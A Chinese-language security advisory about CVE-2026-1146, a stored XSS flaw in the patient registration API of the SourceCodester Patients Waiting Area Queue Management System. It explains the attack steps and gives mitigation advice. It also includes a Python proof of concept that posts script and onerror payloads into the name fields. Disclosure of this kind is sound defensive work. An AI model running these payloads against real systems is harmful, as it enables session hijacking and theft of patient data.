IPBUF安全漏洞报告
English
CVE-2026-1146 CVSS 3.5 低危

CVE-2026-1146 SourceCodester Patients Waiting Area Queue Management System XSS漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-1146
漏洞类型
XSS(跨站脚本)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
SourceCodester Patients Waiting Area Queue Management System 1.0

相关标签

XSS跨站脚本CVE-2026-1146SourceCodesterPatients Waiting Area Queue Management SystemWeb应用漏洞存储型XSS患者管理系统医疗系统安全

漏洞概述

CVE-2026-1146是SourceCodester开发的Patients Waiting Area Queue Management System 1.0版本中的一个存储型跨站脚本(Stored XSS)漏洞。该系统是一款用于医疗机构管理患者排队等候区域的管理系统。漏洞存在于患者注册接口文件php/api_register_patient.php中,具体问题出现在对用户输入的firstName和lastName参数处理不当。攻击者可以通过这两个参数注入恶意的JavaScript代码,当其他用户或管理员访问相关页面时,恶意脚本将自动执行,可能导致会话劫持、敏感信息窃取、恶意重定向等安全问题。由于该漏洞被标记为低危级别(CVSS 3.5),其主要影响在于信息泄露和用户体验层面,但仍然可能被利用进行钓鱼攻击或传播恶意内容。漏洞已于2026年1月19日公开披露, exploit代码已在互联网公开,攻击者可以轻易获取并利用此漏洞。

技术细节

该漏洞为存储型XSS(Stored XSS)漏洞,存在于患者注册功能的API接口中。攻击者通过构造特制的firstName或lastName参数值,注入包含JavaScript脚本的恶意代码。系统在后端处理这些输入时未进行充分的输入验证和输出编码,直接将用户提交的数据存储到数据库中。当其他用户(如护士、医生或管理员)查看患者列表或相关页面时,存储的恶意脚本会被浏览器解析执行。攻击者可以利用此漏洞窃取用户会话Cookie、获取用户权限、执行未经授权的操作或进行钓鱼攻击。由于系统通常部署在医疗机构内部网络,攻击者一旦成功利用,可能获取患者隐私信息,对医疗数据安全造成威胁。漏洞利用条件较低,仅需普通用户权限即可发起攻击,且需要用户交互(UI:R)才能触发。

攻击链分析

STEP 1
步骤1
攻击者访问目标系统的患者注册页面/php/api_register_patient.php
STEP 2
步骤2
攻击者构造包含恶意JavaScript代码的firstName或lastName参数(如<script>alert(document.cookie)</script>)
STEP 3
步骤3
系统未对输入进行过滤和编码,直接将恶意脚本存储到数据库中
STEP 4
步骤4
当管理员或其他用户访问患者列表页面时,服务器从数据库读取并返回包含恶意脚本的页面
STEP 5
步骤5
受害者浏览器解析HTML页面时执行恶意脚本,攻击者成功窃取Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-1146 PoC - Stored XSS in Patients Waiting Area Queue Management System # Target: /php/api_register_patient.php TARGET_URL = "http://target.com/php/api_register_patient.php" # XSS payload for firstName parameter xss_payload_firstname = "<script>alert(document.cookie)</script>" # XSS payload for lastName parameter xss_payload_lastname = "<img src=x onerror=alert('XSS')>" def exploit_xss(): """ Exploit stored XSS vulnerability in patient registration API """ data = { "firstName": xss_payload_firstname, "lastName": xss_payload_lastname, # Add other required parameters if needed "phone": "1234567890", "email": "[email protected]" } try: response = requests.post(TARGET_URL, data=data, timeout=10) print(f"[*] Request sent to {TARGET_URL}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print("[+] Payload submitted successfully") print("[*] XSS will execute when admin views patient list") else: print("[-] Request failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2026-1146 - SourceCodester Patients Waiting Area Queue Management System XSS") exploit_xss()

影响范围

SourceCodester Patients Waiting Area Queue Management System 1.0

防御指南

临时缓解措施
在系统修复前,可采取以下临时缓解措施:1)限制患者注册功能的访问权限,仅允许授权用户使用;2)在Web应用层部署XSS过滤规则,对<script>、<img>、onerror等关键字进行过滤;3)启用浏览器的XSS过滤器功能;4)监控访问日志,及时发现异常请求;5)对管理员和医务人员进行安全意识培训,提醒不要点击可疑链接;6)定期备份数据库以便发生安全事件时快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表